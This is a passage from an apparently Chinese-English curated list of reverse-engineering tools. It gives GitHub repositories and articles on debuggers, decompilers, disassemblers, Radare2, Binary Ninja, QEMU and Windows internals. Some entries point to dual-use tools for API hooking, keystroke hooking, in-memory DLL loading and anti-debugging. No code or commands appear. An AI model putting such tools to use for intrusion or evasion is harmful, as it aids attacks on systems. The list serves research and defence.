- [**1693**星][7d] [TSQL] [brentozarultd/sql-server-first-responder-kit](https://github.com/brentozarultd/sql-server-first-responder-kit) sp_Blitz, sp_BlitzCache, sp_BlitzFirst, sp_BlitzIndex, and other SQL Server scripts for health checks and performance tuning.
- [**1665**星][6m] [C++] [microsoft/detours](https://github.com/microsoft/detours) Detours is a software package for monitoring and instrumenting API calls on Windows. It is distributed in source code form.
- [**1659**星][7d] [Java] [apache/geode](https://github.com/apache/geode) Apache Geode
- [**1655**星][6m] [C] [easyhook/easyhook](https://github.com/easyhook/easyhook) The reinvention of Windows API Hooking
- [**1654**星][3m] [JS] [tylerbrock/mongo-hacker](https://github.com/tylerbrock/mongo-hacker) MongoDB Shell Enhancements for Hackers
- [**1647**星][3m] [Py] [boppreh/keyboard](https://github.com/boppreh/keyboard) Hook and simulate global keyboard events on Windows and Linux.
- [**1627**星][9d] [sarojaba/awesome-devblog](https://github.com/sarojaba/awesome-devblog) 어썸데브블로그. 국내 개발 블로그 모음(only 실명으로).
- [**1620**星][14d] [JS] [efforg/privacybadger](https://github.com/efforg/privacybadger) Privacy Badger is a browser extension that automatically learns to block invisible trackers.
- [**1600**星][8d] [C++] [lief-project/lief](https://github.com/lief-project/lief) Library to Instrument Executable Formats
- [**1599**星][9m] [JS] [localtunnel/server](https://github.com/localtunnel/server) server for localtunnel.me
- [**1580**星][1y] [C] [qihoo360/phptrace](https://github.com/qihoo360/phptrace) A tracing and troubleshooting tool for PHP scripts.
- [**1577**星][1m] [Objective-C] [ealeksandrov/provisionql](https://github.com/ealeksandrov/provisionql) Quick Look plugin for apps and provisioning profile files
- [**1563**星][12d] [C] [codahale/bcrypt-ruby](https://github.com/codahale/bcrypt-ruby) Ruby binding for the OpenBSD bcrypt() password hashing algorithm, allowing you to easily store a secure hash of your users' passwords.
- [**1562**星][17d] [C] [p-gen/smenu](https://github.com/p-gen/smenu) Terminal utility that reads words from standard input or from a file and creates an interactive selection window just below the cursor. The selected word(s) are sent to standard output for further processing.
- [**1560**星][14d] [Java] [gchq/gaffer](https://github.com/gchq/Gaffer) A large-scale entity and relation database supporting aggregation of properties
- [**960**星][7m] [PHP] [jenssegers/optimus](https://github.com/jenssegers/optimus) id transformation With this library, you can transform your internal id's to obfuscated integers based on Knuth's integer has和
- [**906**星][7m] [C++] [dfhack/dfhack](https://github.com/DFHack/dfhack) Memory hacking library for Dwarf Fortress and a set of tools that use it
- [**891**星][11m] [JS] [levskaya/jslinux-deobfuscated](https://github.com/levskaya/jslinux-deobfuscated) An old version of Mr. Bellard's JSLinux rewritten to be human readable, hand deobfuscated and annotated.
- [**698**星][1y] [Jupyter Notebook] [anishathalye/obfuscated-gradients](https://github.com/anishathalye/obfuscated-gradients) Obfuscated Gradients Give a False Sense of Security: Circumventing Defenses to Adversarial Examples
- [**656**星][1y] [Rust] [endgameinc/xori](https://github.com/endgameinc/xori) Xori is an automation-ready disassembly and static analysis library for PE32, 32+ and shellcode
- [**653**星][9m] [Jupyter Notebook] [supercowpowers/data_hacking](https://github.com/SuperCowPowers/data_hacking) Data Hacking Project
- [**626**星][13d] [PowerShell] [olafhartong/sysmon-modular](https://github.com/olafhartong/sysmon-modular) sysmon配置模块收集
- [**576**星][5m] [nshalabi/sysmontools](https://github.com/nshalabi/sysmontools) Utilities for Sysmon
- [**566**星][10m] [JS] [raineorshine/solgraph](https://github.com/raineorshine/solgraph) Visualize Solidity control flow for smart contract security analysis.
- [**520**星][28d] [mhaggis/sysmon-dfir](https://github.com/mhaggis/sysmon-dfir) Sources, configuration and how to detect evil things utilizing Microsoft Sysmon.
- [**519**星][4m] [Java] [java-deobfuscator/deobfuscator](https://github.com/java-deobfuscator/deobfuscator) Java 代码反混淆工具
- [**502**星][8m] [JS] [mindedsecurity/jstillery](https://github.com/mindedsecurity/jstillery) Advanced JavaScript Deobfuscation via Partial Evaluation
- [**472**星][1y] [ksluckow/awesome-symbolic-execution](https://github.com/ksluckow/awesome-symbolic-execution) A curated list of awesome symbolic execution resources including essential research papers, lectures, videos, and tools.
- [**444**星][11m] [C++] [ntquery/scylla](https://github.com/ntquery/scylla) Imports Reconstructor
- [**443**星][11m] [Batchfile] [ion-storm/sysmon-config](https://github.com/ion-storm/sysmon-config) Advanced Sysmon configuration, Installer & Auto Updater with high-quality event tracing
- [**405**星][2m] [Go] [retroplasma/flyover-reverse-engineering](https://github.com/retroplasma/flyover-reverse-engineering) Reversing Apple's 3D satellite mode
- [**403**星][17d] [Py] [crytic/slither](https://github.com/crytic/slither) Static Analyzer for Solidity
- [**382**星][1y] [HTML] [maestron/reverse-engineering-tutorials](https://github.com/maestron/reverse-engineering-tutorials) Reverse Engineering Tutorials
- [**342**星][12m] [Ruby] [calebfenton/dex-oracle](https://github.com/calebfenton/dex-oracle) A pattern based Dalvik deobfuscator which uses limited execution to improve semantic analysis
- [**303**星][1m] [C] [nagyd/sdlpop](https://github.com/nagyd/sdlpop) An open-source port of Prince of Persia, based on the disassembly of the DOS version.
- [**302**星][14d] [Py] [baderj/domain_generation_algorithms](https://github.com/baderj/domain_generation_algorithms) 域名生成算法
- [**281**星][7d] [C] [tomb5/tomb5](https://github.com/tomb5/tomb5) Chronicles Disassembly translated to C source code.
- [**264**星][2m] [Assembly] [pret/pokeyellow](https://github.com/pret/pokeyellow) Disassembly of Pokemon Yellow
- [**236**星][4m] [JS] [consensys/surya](https://github.com/consensys/surya) A set of utilities for exploring Solidity contracts
- [**210**星][11m] [Java] [neo23x0/fnord](https://github.com/neo23x0/fnord) Pattern Extractor for Obfuscated Code
***
## <a id="4fe330ae3e5ce0b39735b1bfea4528af"></a>angr
- [**526**星][7d] [Py] [angr/angr-doc](https://github.com/angr/angr-doc) Documentation for the angr suite
***
## <a id="324874bb7c3ead94eae6f1fa1af4fb68"></a>Debug&&调试
- [**1430**星][7d] [Go] [google/gapid](https://github.com/google/gapid) Graphics API Debugger
- [**1410**星][8d] [Go] [cosmos72/gomacro](https://github.com/cosmos72/gomacro) Interactive Go interpreter and debugger with REPL, Eval, generics and Lisp-like macros
- [**1402**星][7d] [C++] [eteran/edb-debugger](https://github.com/eteran/edb-debugger) edb is a cross platform AArch32/x86/x86-64 debugger.
- [**1262**星][3m] [Go] [solo-io/squash](https://github.com/solo-io/squash) The debugger for microservices
- [**1142**星][4m] [C++] [cgdb/cgdb](https://github.com/cgdb/cgdb) Console front-end to the GNU debugger
- [**1110**星][18d] [C] [blacksphere/blackmagic](https://github.com/blacksphere/blackmagic) In application debugger for ARM Cortex microcontrollers.
- [**868**星][5m] [Py] [derekselander/lldb](https://github.com/derekselander/lldb) A collection of LLDB aliases/regexes and Python scripts to aid in your debugging sessions
- [**822**星][7d] [C++] [tasvideos/bizhawk](https://github.com/tasvideos/bizhawk) BizHawk is a multi-system emulator written in C#. BizHawk provides nice features for casual gamers such as full screen, and joypad support in addition to full rerecording and debugging tools for all system cores.
- [**557**星][1m] [C#] [microsoft/miengine](https://github.com/microsoft/miengine) The Visual Studio MI Debug Engine ("MIEngine") provides an open-source Visual Studio Debugger extension that works with MI-enabled debuggers such as gdb, lldb, and clrdbg.
- [**519**星][1y] [C] [wubingzheng/memleax](https://github.com/wubingzheng/memleax) debugs memory leak of running process. Not maintained anymore, try `libleak` please.
- [**460**星][4m] [C++] [emoon/prodbg](https://github.com/emoon/prodbg) Debugging the way it's meant to be done
- [**415**星][2m] [C++] [simonkagstrom/kcov](https://github.com/simonkagstrom/kcov) Code coverage tool for compiled programs, Python and Bash which uses debugging information to collect and report data without special compilation options
- [**399**星][3m] [C++] [cobaltfusion/debugviewpp](https://github.com/cobaltfusion/debugviewpp) DebugView++, collects, views, filters your application logs, and highlights information that is important to you!
- [**336**星][20d] [Py] [pdbpp/pdbpp](https://github.com/pdbpp/pdbpp) pdb++, a drop-in replacement for pdb (the Python debugger)
- [**331**星][8m] [Py] [romanvm/python-web-pdb](https://github.com/romanvm/python-web-pdb) Web-based remote UI for Python's PDB debugger
- [**306**星][25d] [Java] [widdix/aws-s3-virusscan](https://github.com/widdix/aws-s3-virusscan) Free Antivirus for S3 Buckets
- [**287**星][2m] [Py] [sosreport/sos](https://github.com/sosreport/sos) A unified tool for collecting system logs and other debug information
- [**279**星][1m] [C++] [changeofpace/viviennevmm](https://github.com/changeofpace/viviennevmm) VivienneVMM is a stealthy debugging framework implemented via an Intel VT-x hypervisor.
- [**269**星][3m] [Py] [mariovilas/winappdbg](https://github.com/mariovilas/winappdbg) WinAppDbg Debugger
- [**267**星][11m] [Py] [ionelmc/python-manhole](https://github.com/ionelmc/python-manhole) Debugging manhole for python applications.
- [**248**星][1m] [Py] [quantopian/qdb](https://github.com/quantopian/qdb) Quantopian Remote Debugger for Python
- [**239**星][5m] [C++] [facebook/ds2](https://github.com/facebook/ds2) Debug server for lldb.
- [**239**星][7m] [Py] [beeware/bugjar](https://github.com/beeware/bugjar) A interactive graphical debugger for Python code.
- [**232**星][7m] [C++] [strivexjun/xantidebug](https://github.com/strivexjun/xantidebug) VMProtect 3.x Anti-debug Method Improved
- [**231**星][2m] [Py] [gilligan/vim-lldb](https://github.com/gilligan/vim-lldb) lldb debugger integration plugin for vim
- [**220**星][8m] [letoram/senseye](https://github.com/letoram/senseye) Dynamic Visual Debugging / Reverse Engineering Toolsuite
- [**215**星][25d] [Py] [nteseyes/pylane](https://github.com/nteseyes/pylane) An python vm injector with debug tools, based on gdb.
- [**210**星][8d] [C++] [thalium/icebox](https://github.com/thalium/icebox) Virtual Machine Introspection, Tracing & Debugging
- [**207**星][2m] [C] [joyent/mdb_v8](https://github.com/joyent/mdb_v8) postmortem debugging for Node.js and other V8-based programs
- [**200**星][5m] [C++] [rainers/cv2pdb](https://github.com/rainers/cv2pdb) converter of DMD CodeView/DWARF debug information to PDB files
***
## <a id="9d0f15756c4435d1ea79c21fcfda101f"></a>新添加的11
***
## <a id="9f8d3f2c9e46fbe6c25c22285c8226df"></a>BAP
***
## <a id="2683839f170250822916534f1db22eeb"></a>BinNavi
- [**378**星][1m] [C++] [google/binexport](https://github.com/google/binexport) 将反汇编以Protocol Buffer的形式导出为PostgreSQL数据库, 导入到BinNavi中使用
- 重复区段: [IDA->插件->导入导出->BinNavi](#11139e7d6db4c1cef22718868f29fe12) |
***
## <a id="0971f295b0f67dc31b7aa45caf3f588f"></a>Decompiler&&反编译器
- [**20619**星][9d] [Java] [skylot/jadx](https://github.com/skylot/jadx) dex 转 java 的反编译器
- [**7628**星][22d] [Java] [java-decompiler/jd-gui](https://github.com/java-decompiler/jd-gui) A standalone Java Decompiler GUI
- [**3091**星][1m] [Java] [deathmarine/luyten](https://github.com/deathmarine/luyten) An Open Source Java Decompiler Gui for Procyon
- [**1842**星][1y] [Java] [jindrapetrik/jpexs-decompiler](https://github.com/jindrapetrik/jpexs-decompiler) JPEXS Free Flash Decompiler
- [**1636**星][11m] [Java] [fesh0r/fernflower](https://github.com/fesh0r/fernflower) Unofficial mirror of FernFlower Java decompiler (All pulls should be submitted upstream)
- [**1428**星][7d] [Py] [rocky/python-uncompyle6](https://github.com/rocky/python-uncompyle6) Python反编译器，跨平台
- [**1075**星][3m] [Py] [storyyeller/krakatau](https://github.com/storyyeller/krakatau) Java decompiler, assembler, and disassembler
- [**762**星][11m] [C++] [comaeio/porosity](https://github.com/comaeio/porosity) *UNMAINTAINED* Decompiler and Security Analysis tool for Blockchain-based Ethereum Smart-Contracts
- [**669**星][7d] [C#] [uxmal/reko](https://github.com/uxmal/reko) Reko is a binary decompiler.
- [**663**星][10m] [C++] [zrax/pycdc](https://github.com/zrax/pycdc) C++ python bytecode disassembler and decompiler
- [**534**星][5m] [Java] [java-decompiler/jd-eclipse](https://github.com/java-decompiler/jd-eclipse) A Java Decompiler Eclipse plugin
- [**340**星][1m] [C#] [steamdatabase/valveresourceformat](https://github.com/steamdatabase/valveresourceformat) Valve's Source 2 resource file format (also known as Stupid Valve Format) parser and decompiler.
- [**319**星][25d] [C++] [silverf0x/rpcview](https://github.com/silverf0x/rpcview) RpcView is a free tool to explore and decompile Microsoft RPC interfaces
- [**309**星][11d] [Java] [leibnitz27/cfr](https://github.com/leibnitz27/cfr) This is the public repository for the CFR Java decompiler
- [**271**星][7m] [Shell] [venshine/decompile-apk](https://github.com/venshine/decompile-apk) APK 反编译
- [**239**星][2m] [Java] [kwart/jd-cmd](https://github.com/kwart/jd-cmd) Command line Java Decompiler
- [**238**星][1m] [Java] [ata4/bspsrc](https://github.com/ata4/bspsrc) A Source engine map decompiler
- [**229**星][14d] [C#] [icsharpcode/avaloniailspy](https://github.com/icsharpcode/avaloniailspy) Avalonia-based .NET Decompiler (port of ILSpy)
- [**228**星][1y] [C++] [wwwg/wasmdec](https://github.com/wwwg/wasmdec) WebAssembly to C decompiler
- [**223**星][24d] [C++] [boomerangdecompiler/boomerang](https://github.com/BoomerangDecompiler/boomerang) Boomerang Decompiler - Fighting the code-rot :)
***
## <a id="2df6d3d07e56381e1101097d013746a0"></a>Disassemble&&反汇编
- [**1363**星][29d] [C] [zyantific/zydis](https://github.com/zyantific/zydis) 快速的轻量级x86/x86-64 反汇编库
- [**1347**星][11m] [Rust] [das-labor/panopticon](https://github.com/das-labor/panopticon) A libre cross-platform disassembler.
- [**874**星][10m] [C++] [wisk/medusa](https://github.com/wisk/medusa) An open source interactive disassembler
- [**823**星][2m] [C++] [redasmorg/redasm](https://github.com/redasmorg/redasm) The OpenSource Disassembler
- [**819**星][7d] [GLSL] [khronosgroup/spirv-cross](https://github.com/khronosgroup/spirv-cross) a practical tool and library for performing reflection on SPIR-V and disassembling SPIR-V back to high level languages.
- [**621**星][3m] [C] [gdabah/distorm](https://github.com/gdabah/distorm) Powerful Disassembler Library For x86/AMD64
- [**427**星][26d] [C#] [0xd4d/iced](https://github.com/0xd4d/iced) x86/x64 disassembler, instruction decoder & encoder
- [**348**星][21d] [Ruby] [jjyg/metasm](https://github.com/jjyg/metasm) This is the main repository for metasm, a free assembler / disassembler / compiler written in ruby
- [**244**星][4m] [Py] [bontchev/pcodedmp](https://github.com/bontchev/pcodedmp) A VBA p-code disassembler
***
## <a id="975d9f08e2771fccc112d9670eae1ed1"></a>GDB
- [**6968**星][2m] [JS] [cs01/gdbgui](https://github.com/cs01/gdbgui) Browser-based frontend to gdb (gnu debugger). Add breakpoints, view the stack, visualize data structures, and more in C, C++, Go, Rust, and Fortran. Run gdbgui from the terminal and a new tab will open in your browser.
- [**6002**星][11d] [Py] [cyrus-and/gdb-dashboard](https://github.com/cyrus-and/gdb-dashboard) Modular visual interface for GDB in Python
- [**1343**星][3m] [Go] [hellogcc/100-gdb-tips](https://github.com/hellogcc/100-gdb-tips) A collection of gdb tips. 100 maybe just mean many here.
- [**448**星][2m] [Py] [scwuaptx/pwngdb](https://github.com/scwuaptx/pwngdb) gdb for pwn
- [**231**星][26d] [JS] [bet4it/hyperpwn](https://github.com/bet4it/hyperpwn) A hyper plugin to provide a flexible GDB GUI with the help of GEF, pwndbg or peda
***
## <a id="9526d018b9815156cb001ceee36f6b1d"></a>Captcha&&验证码
- [**1544**星][3m] [PHP] [mewebstudio/captcha](https://github.com/mewebstudio/captcha) Captcha for Laravel 5 & 6
- [**623**星][24d] [Ruby] [markets/invisible_captcha](https://github.com/markets/invisible_captcha) Simple and flexible spam protection solution for Rails applications.
***
## <a id="bc2b78af683e7ba983205592de8c3a7a"></a>其他
# <a id="86cb7d8f548ca76534b5828cb5b0abce"></a>Radare2
***
## <a id="0e08f9478ed8388319f267e75e2ef1eb"></a>插件&&脚本
### <a id="ec3f0b5c2cf36004c4dd3d162b94b91a"></a>Radare2
- [**11490**星][7d] [C] [radareorg/radare2](https://github.com/radareorg/radare2) unix-like reverse engineering framework and commandline tools
### <a id="6922457cb0d4b6b87a34caf39aa31dfe"></a>新添加的
- [**407**星][5m] [Py] [itayc0hen/a-journey-into-radare2](https://github.com/itayc0hen/a-journey-into-radare2) A series of tutorials about radare2 framework from
- [**329**星][11d] [TeX] [radareorg/radare2book](https://github.com/radareorg/radare2book) r1 book transcription to r2
- [**257**星][3m] [Rust] [radareorg/radeco](https://github.com/radareorg/radeco) radare2-based decompiler and symbol executor
- [**256**星][19d] [C] [radareorg/r2dec-js](https://github.com/radareorg/r2dec-js) radare2插件,将汇编代码反编译为C伪代码
- [**204**星][2m] [PowerShell] [wiredpulse/posh-r2](https://github.com/wiredpulse/posh-r2) PowerShell - Rapid Response... For the incident responder in you!
### <a id="1a6652a1cb16324ab56589cb1333576f"></a>与其他工具交互
#### <a id="dfe53924d678f9225fc5ece9413b890f"></a>未分类
- [**370**星][25d] [JS] [nowsecure/r2frida](https://github.com/nowsecure/r2frida) Radare2 and Frida better together.
- 重复区段: [DBI->Frida->工具->与其他工具交互->Radare2](#ac053c4da818ca587d57711d2ff66278) |
#### <a id="1cfe869820ecc97204a350a3361b31a7"></a>IDA
### <a id="f7778a5392b90b03a3e23ef94a0cc3c6"></a>GUI
- [**5850**星][8d] [C++] [radareorg/cutter](https://github.com/radareorg/cutter) 逆向框架 radare2的Qt界面，iaito的升级版
***
## <a id="95fdc7692c4eda74f7ca590bb3f12982"></a>文章&&视频
- 2019.10 [prsecurity_] [Radare2 for RE CTF](https://medium.com/p/e0163cb0466e)
- 2019.09 [securityartwork] [YaraRET (I): Carving with Radare2 & Yara](https://www.securityartwork.es/2019/09/02/yararet-i-carving-with-radare2-yara/)
- 2019.07 [freebuf] [教你使用Cutter和Radare2对APT32恶意程序流程图进行反混淆处理](https://www.freebuf.com/articles/network/208019.html)
- 2019.07 [youtube_THER_SECURITY_LAB] [0x0D - FLARE-On #3 Challenge Part 2 [Reversing with Radare2]](https://www.youtube.com/watch?v=QP9Cepdqf-o)
- 2019.07 [youtube_THER_SECURITY_LAB] [0x0C - Cutter: FLARE-On #3 Challenge Part 1 [Reversing with Radare2]](https://www.youtube.com/watch?v=hbEpVwD5rJI)
- 2019.07 [youtube_THER_SECURITY_LAB] [0x09 Cross References [Reversing with Radare2]](https://www.youtube.com/watch?v=yOtx6LL_R08)
- 2019.07 [youtube_THER_SECURITY_LAB] [0x08 Navigation [Reversing with Radare2]](https://www.youtube.com/watch?v=rkygJSjJbso)
- 2019.07 [youtube_THER_SECURITY_LAB] [0x04 Target Application [Reversing with Radare2]](https://www.youtube.com/watch?v=jlr3FablVIc)
- 2019.06 [youtube_THER_SECURITY_LAB] [0x03 Environment Setup [Reversing with Radare2]](https://www.youtube.com/watch?v=qGSFk_CkIaw)
- 2019.06 [youtube_THER_SECURITY_LAB] [0x02 What is Radare2 [Reversing with Radare2]](https://www.youtube.com/watch?v=9fLfD2fZWiA)
- 2019.06 [youtube_THER_SECURITY_LAB] [0x00 Intro [Reversing with Radare2]](https://www.youtube.com/watch?v=Lva32dXS0mU)
- 2019.06 [youtube_hitbsecconf] [#HITB2019AMS D1T3 - Overcoming Fear: Reversing With Radare2 - Arnau Gamez Montolio](https://www.youtube.com/watch?v=317dNavABKo)
- 2019.05 [X0x0FFB347] [Solving MalwareTech Shellcode challenges with some radare2 magic!](https://medium.com/p/b91c85babe4b)
- 2019.05 [360_anquanke_learning] [使用Cutter和Radare2对APT32恶意程序流程图进行反混淆处理](https://www.anquanke.com/post/id/178047/)
- 2019.04 [X0x0FFB347] [Solving MalwareTech String Challenges With Some Radare2 Magic!](https://medium.com/p/98ebd8ff0b88)
- 2019.04 [radare] [Radare2 Summer of Code 2019 Selection Results](https://radareorg.github.io/blog/posts/rsoc-2019-selection/)
- 2019.04 [radare] [Radare2 Summer of Code 2019 Selection Results](http://radare.today/posts/rsoc-2019-selection/)
- 2019.03 [sans_edu_diaryarchive] [Binary Analysis with Jupyter and Radare2](https://isc.sans.edu/forums/diary/Binary+Analysis+with+Jupyter+and+Radare2/24748/)
- 2019.02 [freebuf] [Radare2：一款类Unix命令行逆向安全框架](https://www.freebuf.com/sectool/195703.html)
- 2019.02 [radare] [Radare2 Community Survey Results](http://radare.today/posts/radare2-survey/)
# <a id="afb7259851922935643857c543c4b0c2"></a>BinaryNinja
***
## <a id="3034389f5aaa9d7b0be6fa7322340aab"></a>插件&&脚本
### <a id="a750ac8156aa0ff337a8639649415ef1"></a>新添加的
- [**2787**星][17d] [Py] [androguard/androguard](https://github.com/androguard/androguard) Reverse engineering, Malware and goodware analysis of Android applications ... and more (ninja !)
- [**320**星][10d] [Py] [vector35/binaryninja-api](https://github.com/vector35/binaryninja-api) Public API, examples, documentation and issues for Binary Ninja
- [**279**星][2m] [Py] [pbiernat/ripr](https://github.com/pbiernat/ripr) Package Binary Code as a Python class using Binary Ninja and Unicorn Engine
### <a id="bba1171ac550958141dfcb0027716f41"></a>与其他工具交互
#### <a id="c2f94ad158b96c928ee51461823aa953"></a>未分类
#### <a id="713fb1c0075947956651cc21a833e074"></a>IDA
***
## <a id="2d24dd6f0c01a084e88580ad22ce5b3c"></a>文章&&视频
- 2018.09 [aliyun_xz] [使用Binary Ninja调试共享库](https://xz.aliyun.com/t/2826)
- 2018.09 [kudelskisecurity] [Analyzing ARM Cortex-based MCU firmwares using Binary Ninja](https://research.kudelskisecurity.com/2018/09/25/analyzing-arm-cortex-based-mcu-firmwares-using-binary-ninja/)
- 2018.04 [trailofbits] [使用Binary Ninja的MLIL和SSA, 挖掘二进制文件的漏洞. (MLIL: Medium Level IL, 中间层IL)(SSA: Single Static Assignment)](https://blog.trailofbits.com/2018/04/04/vulnerability-modeling-with-binary-ninja/)
- 2018.01 [pediy_new_digest] [[翻译]逆向平台Binary Ninja介绍](https://bbs.pediy.com/thread-224141.htm)
- 2017.11 [_0xec] [bnpy - A python architecture plugin for Binary Ninja](https://0xec.blogspot.com/2017/11/bnpy-python-architecture-plugin-for.html)
- 2017.10 [ret2] [Untangling Exotic Architectures with Binary Ninja](http://blog.ret2.io/2017/10/17/untangling-exotic-architectures-with-binary-ninja/)
- 2017.10 [chokepoint] [Pin Visual Coverage Tool for Binary Ninja](http://www.chokepoint.net/2017/10/pin-visual-coverage-tool-for-binary.html)
# <a id="dd1e42d17eefb275a804584a848b82a6"></a>文章
***
## <a id="48d6a0efe043af4bed4cbba665a4502c"></a>新添加的
# <a id="747ddaa20f643da415284bfba9cda3a2"></a>模拟器&&虚拟机
***
## <a id="796b64906655228d8a1ff8c0dd390451"></a>QEMU
### <a id="296c7f25266b25e5ee1107dd76e40dd2"></a>工具
#### <a id="82072558d99a6cf23d4014c0ae5b420a"></a>新添加的
- [**518**星][7m] [Java] [limboemu/limbo](https://github.com/limboemu/limbo) Limbo is a QEMU-based emulator for Android. It currently supports PC & ARM emulation for Intel x86 and ARM architecture. See our wiki
- 重复区段: [Android->工具->Emulator](#5afa336e229e4c38ad378644c484734a) |
- [**273**星][19d] [C] [beckus/qemu_stm32](https://github.com/beckus/qemu_stm32) QEMU with an STM32 microcontroller implementation
- [**242**星][10m] [C++] [revng/revng](https://github.com/revng/revng) 二进制分析工具，基于QEMU 和LLVM
### <a id="5df30a166c2473fdadf5a578d1a70e32"></a>文章&&视频
***
## <a id="a13effff89633708c814ae9410da835a"></a>其他
# <a id="2f81493de610f9b796656b269380b2de"></a>Windows
***
## <a id="b478e9a9a324c963da11437d18f04998"></a>工具
### <a id="f9fad1d4d1f0e871a174f67f63f319d8"></a>新添加的
### <a id="1afda3039b4ab9a3a1f60b179ccb3e76"></a>其他
- [**940**星][2m] [C] [basil00/divert](https://github.com/basil00/divert) 用户模式数据包拦截库，适用于Win 7/8/10
- [**840**星][21d] [C++] [henrypp/simplewall](https://github.com/henrypp/simplewall) 为Windows 过滤平台提供的配置界面
- [**712**星][1m] [Py] [diyan/pywinrm](https://github.com/diyan/pywinrm) Python实现的WinRM客户端
- [**556**星][11d] [C] [hfiref0x/winobjex64](https://github.com/hfiref0x/winobjex64) Windows对象浏览器. x64
- [**462**星][7m] [C#] [microsoft/dbgshell](https://github.com/microsoft/dbgshell) PowerShell编写的Windows调试器引擎前端
- [**411**星][9d] [C] [samba-team/samba](https://github.com/samba-team/samba) 适用于Linux和Unix的标准Windows interoperability程序套件
- [**381**星][1m] [C#] [microsoft/binskim](https://github.com/microsoft/binskim) 二进制静态分析工具，可为PE和ELF二进制格式提供安全性和正确性分析
- [**379**星][1m] [Jupyter Notebook] [microsoft/windowsdefenderatp-hunting-queries](https://github.com/microsoft/windowsdefenderatp-hunting-queries) 在MS Defender ATP中进行高级查询的示例
- [**367**星][1m] [Ruby] [winrb/winrm](https://github.com/winrb/winrm) 在Windows中使用WinRM的功能调用原生对象的SOAP库。Ruby编写
- [**364**星][1y] [PowerShell] [netspi/pesecurity](https://github.com/netspi/pesecurity) 检查PE(EXE/DLL)编译选项是否有：ASLR, DEP, SafeSEH, StrongNaming, Authenticode。PowerShell模块
- [**349**星][8d] [C#] [digitalruby/ipban](https://github.com/digitalruby/ipban) 监视Windows/Linux系统的登录失败和不良行为，并封禁对应的IP地址。高度可配置，精简且功能强大。
- [**264**星][11m] [Py] [hakril/pythonforwindows](https://github.com/hakril/pythonforwindows) 简化Python与Windows操作系统交互的库
- [**233**星][4m] [PowerShell] [microsoft/aaronlocker](https://github.com/microsoft/aaronlocker) Windows应用程序白名单
- [**232**星][9m] [Go] [masterzen/winrm](https://github.com/masterzen/winrm) Windows远程命令执行，命令行工具+库，Go编写
- [**230**星][12m] [C++] [ionescu007/simpleator](https://github.com/ionescu007/simpleator) Windows x64用户模式应用程序模拟器
- [**228**星][4m] [C] [tishion/mmloader](https://github.com/tishion/mmloader) 绕过Windows PE Loader，直接从内存中加载DLL模块（x86/x64）
- [**220**星][12m] [C++] [rexdf/commandtrayhost](https://github.com/rexdf/commandtrayhost) 监控Windows systray的命令行工具
- [**211**星][2m] [C] [leecher1337/ntvdmx64](https://github.com/leecher1337/ntvdmx64) 在64位版本上执行Windows DOS版的 NTVDM
- [**209**星][2m] [adguardteam/adguardforwindows](https://github.com/adguardteam/adguardforwindows) Windows系统范围的AdBlocker
- [**205**星][2m] [C] [jasonwhite/ducible](https://github.com/jasonwhite/ducible) 使PE和PDB的构建具有可复制性
- [**201**星][10m] [C] [hzqst/unicorn_pe](https://github.com/hzqst/unicorn_pe) 模拟Windows PE文件的代码执行，基于Unicorn
### <a id="0af4bd8ca0fd27c9381a2d1fa8b71a1f"></a>事件日志&&事件追踪&&ETW
- [**1207**星][8d] [JS] [jpcertcc/logontracer](https://github.com/jpcertcc/logontracer) 通过可视化和分析Windows事件日志来调查恶意的Windows登录
- [**526**星][14d] [PowerShell] [sbousseaden/evtx-attack-samples](https://github.com/sbousseaden/evtx-attack-samples) 与特定攻击和利用后渗透技术相关的Windows事件样例
- [**502**星][9m] [C#] [lowleveldesign/wtrace](https://github.com/lowleveldesign/wtrace) Command line tracing tool for Windows, based on ETW.
- [**436**星][8m] [PowerShell] [nsacyber/event-forwarding-guidance](https://github.com/nsacyber/Event-Forwarding-Guidance) 帮助管理员使用Windows事件转发（WEF）收集与安全相关的Windows事件日志
- [**389**星][9m] [Py] [williballenthin/python-evtx](https://github.com/williballenthin/python-evtx) 纯Python编写的Windows事件日志解析器
- [**295**星][11d] [C#] [zodiacon/procmonx](https://github.com/zodiacon/procmonx) 通过Windows事件日志获取与Process Monitor显示的相同的信息，无需内核驱动
- [**281**星][9m] [C#] [nsacyber/windows-event-log-messages](https://github.com/nsacyber/Windows-Event-Log-Messages) 检索Windows二进制文件中嵌入的Windows事件日志消息的定义，并以discoverable的格式提供它们
### <a id="d48f038b58dc921660be221b4e302f70"></a>Sysmon
### <a id="8ed6f25b321f7b19591ce2908b30cc88"></a>WSL
- [**8495**星][1m] [microsoft/wsl](https://github.com/microsoft/WSL) Issues found on WSL
- [**2825**星][8m] [Shell] [goreliu/wsl-terminal](https://github.com/goreliu/wsl-terminal) Terminal emulator for Windows Subsystem for Linux (WSL)
- [**660**星][9d] [Shell] [wslutilities/wslu](https://github.com/wslutilities/wslu) A collection of utilities for Windows 10 Linux Subsystems
### <a id="d90b60dc79837e06d8ba2a7ee1f109d3"></a>.NET
- [**12453**星][7d] [C#] [0xd4d/dnspy](https://github.com/0xd4d/dnspy) .NET debugger and assembly editor
- [**9141**星][8d] [C#] [icsharpcode/ilspy](https://github.com/icsharpcode/ilspy) .NET Decompiler
- [**3645**星][26d] [C#] [0xd4d/de4dot](https://github.com/0xd4d/de4dot) .NET deobfuscator and unpacker.
- [**3253**星][7m] [JS] [sindresorhus/speed-test](https://github.com/sindresorhus/speed-test) Test your internet connection speed and ping using speedtest.net from the CLI
- [**1643**星][1m] [C#] [jbevain/cecil](https://github.com/jbevain/cecil) C#库, 探查/修改/生成 .NET App/库
- [**215**星][11m] [C#] [rainwayapp/warden](https://github.com/rainwayapp/warden) Warden.NET is an easy to use process management library for keeping track of processes on Windows.
### <a id="6d2fe834b7662ecdd48c17163f732daf"></a>Environment&&环境&&配置
- [**1519**星][10m] [PowerShell] [joefitzgerald/packer-windows](https://github.com/joefitzgerald/packer-windows) 使用Packer创建Vagrant boxes的模板
- [**1341**星][10d] [Go] [securitywithoutborders/hardentools](https://github.com/securitywithoutborders/hardentools) 禁用许多有危险的Windows功能
- [**1145**星][1y] [HTML] [nsacyber/windows-secure-host-baseline](https://github.com/nsacyber/Windows-Secure-Host-Baseline) Windows 10和Windows Server 2016 DoD 安全主机基准设置的配置指南
- [**1000**星][5m] [adolfintel/windows10-privacy](https://github.com/adolfintel/windows10-privacy) Win10隐私指南
- [**488**星][23d] [PowerShell] [stefanscherer/packer-windows](https://github.com/stefanscherer/packer-windows) Windows Packer 模板：Win10, Server 2016, 1709, 1803, 1809, 2019, 1903, Insider with Docker
### <a id="8bfd27b42bb75956984994b3419fb582"></a>进程注入
### <a id="b0d50ee42d53b1f88b32988d34787137"></a>DLL注入
